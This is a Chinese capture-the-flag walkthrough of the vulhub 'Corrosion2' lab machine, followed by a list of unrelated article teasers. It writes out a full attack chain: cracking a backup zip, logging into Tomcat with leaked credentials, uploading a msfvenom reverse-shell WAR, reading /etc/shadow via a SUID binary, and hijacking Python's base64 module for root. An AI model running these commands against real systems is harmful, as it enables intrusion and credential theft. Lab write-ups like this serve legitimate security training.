vulhub打靶记录——Corrosion2

文章目录

  • 主机发现
  • 端口扫描
  • ssh—22
    • search openssh EXP
  • web服务—8080
    • 目录扫描
    • 登录tomcat后台
  • 提权
    • 切换用户
    • 查看用户权限
    • 寻找SUID命令
    • 破解登录密文
  • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.5:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.5 

在这里插入图片描述

可见这台靶机,开放了端口:22(ssh,远程登录协议))、80(http,web服务)、8080(http,web服务)。

ssh—22

search openssh EXP

searchsploit openssh # 搜索exp

在这里插入图片描述

web服务—8080

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.5 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
在目录扫描中发现了一些东西
1.192.168.151.5/readme.txt,发现这台主机的有一个用户为randy
在这里插入图片描述
2.192.168.151.5/backup.zip,有一个备份文件,发现加密了。
在这里插入图片描述

tomcat-users.xml中包含tomcat管理端所有用户的用户名和密码。

尝试用fcrackzip对zip文件进行解密,命令如下:

fcrackzip -D -p /usr/share/wordlist/rockyou.txt -u backup.zip
  • -D:表示使用字典对文件进行解析;
  • -p:表示字典路径;
  • -u:把密码显示在终端。

在这里插入图片描述
查看tomcat-users.xml的内容,可以发现两个用户名和相应的密码:

manager melehifokivai
admin melehifokivai

在这里插入图片描述

登录tomcat后台

拿到用户名和密码后,尝试区登录tomcat。点击manager app,并输入用户名和密码。

在这里插入图片描述

成功登录tomcat管理后台,登录进来是一个web项目发布的管理端。tomcat一般发布的是java的web工程,发布的形式的话,可以以目录的方式进行发布,也可以以WAR包的形式进行发布。也就是存在上传点!!!

在这里插入图片描述
使用msfvenom生成恶意程序(也可以用它对恶意程序加密加壳等),命令如下:Reverse Shell Generator

msfvenom -p java/shell_reverse_tcp LHOST=192.168.151.5 LPORT=4444 -f war -o shell.war
  • -p:需要使用的payload;
  • -f:输出格式;
  • -0:输出路径。
  • war包其实就跟zip压缩包差不多,可以直接使用unzip shell.war进行解压。

在这里插入图片描述

直接上传生成的shell.war,然后需要做的就是nc -nlvp 4444监听本地端口,访问192.168.151.5、shell即可reverse shell。

在这里插入图片描述
在这里插入图片描述

提权

使用下面的命令建立半交互式shell,发现并没有python(搞不定,先不搞咯)

python -c "import pty;pty.spawn("/bin/bash")"

在这里插入图片描述

切换用户

先进入/home,发现jaye、randy两个用户,因为我们有一个zip压缩包的密码、登录tomcat后台的密码,所以可以尝试用这两个密码去登录这两个用户。事实证明是可行的,jaye用户的密码就是tomcat登录密码。
在这里插入图片描述

查看用户权限

查看jaye用户的权限,发现当前用户不能使用sudo命令。

sudo -l # 查看当前用户是否具有sudo权限

在这里插入图片描述

寻找SUID命令

寻找具备SUID属性的程序(不知道的命令直接百度,看是不是系统自带的命令),这里发现了一个/home/jaye/Files/look程序具备SUID权限。

find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序,主要关注当前用户是不是可以以root用户去执行某些命令

在这里插入图片描述
这个look命令,大概意思就是找到文件中以指定字母开头的内容。
在这里插入图片描述

在这里插入图片描述

破解登录密文

尝试读取/etc/shadow文件,查看该系统所有用户的密码(密文)

look '' /etc/shadow # 空字符就代表查看文件中的所有内容

在这里插入图片描述
既然拿到密文,可以使用john去尝试破解密文。

echo '密文' >> pw.txt
john --wprdlist=/usr/share/wordlist/rockyou.txt pw.txt

在这里插入图片描述

su randy # 切换randy用户,密码为07051986randy
sudo -l # 查看randy用户的sudo权限

在这里插入图片描述
用户randy执行sudo /usr/bin/python3.8 /home/randy/randombase64.py时,是以root用户执行的。

ls -l /home/randy/randombase64.py # 查看权限,只有root用户具有可写权限
cat /home/randy/randombase64.py # 查看/home/randy/randombase64.py内容

在这里插入图片描述
查看文件内容,发现import base64,思路:在base64.py里加入os.system("/bin/bash"),这样在调用该文件的时候,就会获取root用户的shell
在这里插入图片描述

locate base64 # 定位base64文件
echo 'import os' >> randombase64.py
echo 'os.system("/bin/bash")' >> /usr/lib/python3.8/base64.py
sudo /usr/bin/python3.8 /home/randy/randombase64.py

在这里插入图片描述
最终提权成功
在这里插入图片描述

总结

  1. nmap端口扫描。发现靶机开放的服务;
  2. 对web服务进行目录扫描,发现8080端口的web服务存在备份文件backup.zip;
  3. 使用john对zip文件进行密码破解,
  4. 查看tomcat-users.xml文件,获得密码,再登录tomcat后台;
  5. msfvenom生成war包的后门文件,通过tomcat上传WAR;
  6. 监听端口,访问后门,获取webshell;
  7. 由之前获取的密码登录靶机,成功登录jaye用户;
  8. 寻找SUID程序,由look程序,查看/etc/shadow,破解randy用户密码;
  9. 切换randy用户,查看sudo用户权限,修改randombase64.py文件且添加/bin/bash,获取root用户的shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/523535.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【LeetCode】894. 所有可能的真二叉树

文章目录 [894. 所有可能的真二叉树](https://leetcode.cn/problems/all-possible-full-binary-trees/)思路一:分治代码:思路二:记忆化搜索代码: 894. 所有可能的真二叉树 思路一:分治 1.递归,n1 时&#…

数字图像处理——数字图像基础(持续更新)

视觉感知要素——亮度适应和鉴别: 人眼对不同亮度的适应和鉴别能力:亮 -> 暗 适应;暗 -> 亮 适应 图像取样和量化 1、概念: 数字化坐标值称为取样 数字化幅度值称为量化 2、 坐标的数字化称为采样,…

【强化学习的数学原理-赵世钰】课程笔记(二)贝尔曼公式

【强化学习的数学原理-赵世钰】课程笔记(二)贝尔曼公式 一. 内容概述 1. 第二章主要有两个内容 (1)一个核心概念:状态值(state value):从一个状态出发,沿着一个策略我…

GIS水文分析填充伪洼地学习

1 基本操作 洼地是指流域内被较高高程所包围的局部区域; 分为自然洼地和伪洼地; 自然洼地是自然界实际存在的洼地; 在 DEM 数据中,由于数据处理的误差和不合适的插值方法所产生的洼地,称为伪洼地; DEM 数据…

【C语言】汉诺塔问题

目录 一、何为汉诺塔问题? 二、汉诺塔计算规律 三、打印汉诺塔的移动路径 总结 一、何为汉诺塔问题? 汉诺塔问题是一个经典的问题。汉诺塔(Hanoi Tower),又称河内塔,源于印度一个古老传说。大梵天创造世…

Linux Shell:`cat`命令

Linux Shell:cat命令 Linux 系统中的 cat 命令是一种多用途的工具,主要用于查看、创建、连接和追加文件内容。其名称来源于 concatenate 的缩写,意味着它可以用来连接文件内容到标准输出(屏幕)。在日常使用中&#xf…

C语言整数和小数的存储

1.整数在内存中的存储 计算机使用二进制进行存储、运算,整数在内存中存储使用的是二进制补码 1.1原码、反码、补码 整数的2进制表⽰⽅法有三种,即 原码、反码和补码 三种表⽰⽅法均有符号位和数值位两部分,符号位都是⽤0表⽰“正”&am…

WHILE循环

oracle从入门到总裁:​​​​​​https://blog.csdn.net/weixin_67859959/article/details/135209645 WHILE 循环是先判断条件,如果条件成立就执行循环体,如果不成立,就退出循环 while 条件表达式 loop 语句序列 end loop 运行的时候&…

14届蓝桥杯省赛 C/C++ B组 T8 整数删除(双向链表,堆)

瞬间定位一个数的左边或者右边,需要用到双向链表。 在过程中不断维护最小值,需要用到堆。 所以定义一个pair类型优先队列,每次取出堆顶进行删除,并且同时让删除元素的左右元素加上其值。 同时需要注意,在删除元素之后…

5. 4 二重循环将二维数组的某列、某矩形转大写

5. 4 二重循环将二维数组的某列、某矩形转大写 1. 把每一行的b都变成大写 assume cs:codesg,ds:data,ss:stack data segmeNTstr db aaaaabbbbbcccccdb aaaaabbbbbcccccdb aaaaabbbbbcccccdb aaaaabbbbbccccc,$ data endsstack segmentdb 10 dup(0) stack endscodesg SEgments…

船气废弃锅炉三维仿真vr交互展示降低培训门槛

火化炉是殡葬行业的核心设备,其操作技艺对于专业人才的培养至关重要。然而,传统实践教学受限于时间、场地、设备损耗等多重因素,难以给予学生充分的实操机会。面对这一挑战,我们创新推出了火化炉vr三维仿真培训软件,以…

Java私房菜:探索泛型之妙用与深意

“泛型”(generics)作为Java特性之一,相信大家也耳熟能详了,就算没听说过,也肯定看过或偶然间使用过泛型,在这里,我们一起重新温习一下泛型,通过一些案例引发些新的思考。Java中的泛…

保研复习数据结构-图(10)

一.图的定义和基本术语 1.什么是图? 图(Graph)是由顶点的有穷非空集合V(G)和顶点之间边的集合E(G)组成,通常表示为:G(V,E),其中,G表示图,V是图G中顶点的集合,E是图G中边的集合。 2.什么是完全图&#xf…

MySQL基础练习题:创建数据库

这部分主要是为了帮助大家回忆回忆MySQL的基本语法,数据库来自于MySQL的官方简化版,题目也是网上非常流行的35题。这些基础习题基本可以涵盖面试中需要现场写SQL的问题。 创建数据库 在开始练习之前,我默认你的电脑上是没有本系列练习题需要…

题目:【序列中删除指定数字】【变种水仙花数】【数组串联】【交换奇偶位】【offsetof宏的实现】

题目一:序列中删除指定数字 #include <stdio.h>int main(){int a0;int arr[50]{0};int c0;scanf("%d",&a);for(int i0;i<a;i){scanf("%d",&arr[i]);//输入a个值}scanf("%d",&c);//输入要删除的数据int i0;int j0;for(i0;i&…

【科东软件】鸿道Intewell-Win_V2.1.1_release版本正式发布

Intewell-Win_V2.1.1_release版本 版本号&#xff1a;V2.1.1 版本发布类型&#xff1a;release正式版本 版本特点 修复此前版本中的问题 运行环境推荐 Intewell developer可以运行在windows7及windows10 64位 支持硬件列表

【40分钟速成智能风控2】互联网金融信用风险

目录 ​编辑 信用风险 白名单准入 贷前识别 贷中管理 贷后催收 信用风险 白名单准入 白名单是信用风险管理的第一道门槛&#xff0c;与整个平台贷款产品的设计和定位有紧密的联系。白名单设立的初衷是圈定目标客户&#xff0c;有了目标客群之后才能更好地进行精准营销&…

非关系型数据库——三万字Redis数据库详解

目录 前言 一、Redis概述 1.主要特点 2.Redis优缺点 3.Redis为什么这么快 4.Redis那么快&#xff0c;为什么不用它做主数据库&#xff0c;只用它做缓存 5.线程模型 5.1单线程架构 5.2多线程IO处理&#xff08;Redis 6及以上&#xff09; 5.3线程模型的优化 6.作用 …

基于SpringBoot+微信小程序的点餐系统

一、项目背景介绍&#xff1a; 小程序外卖扫码点餐为客户提供的是最方便的饮食方式,以快速、便捷的点餐业务送货上门为 -客户服务,这省去了客户很多不必要的时间和麻烦,给商家带来更多利益。同时,小程序外卖扫码点餐可以辅助餐饮企业营销,通过信息管理,可以记录餐饮企业方方面面…

Linux--进程(2)

目录 前言 1. 进程的状态 1.1 进程排队 1.2 运行&#xff0c;阻塞&#xff0c;挂起 2.Linux下具体的进程状态 2.1僵尸和孤儿 3.进程的优先级 4.Linux的调度与切换 前言 这篇继续来学习进程的其它知识 上篇文章&#xff1a;Linux--进程&#xff08;1&#xff09;-CS…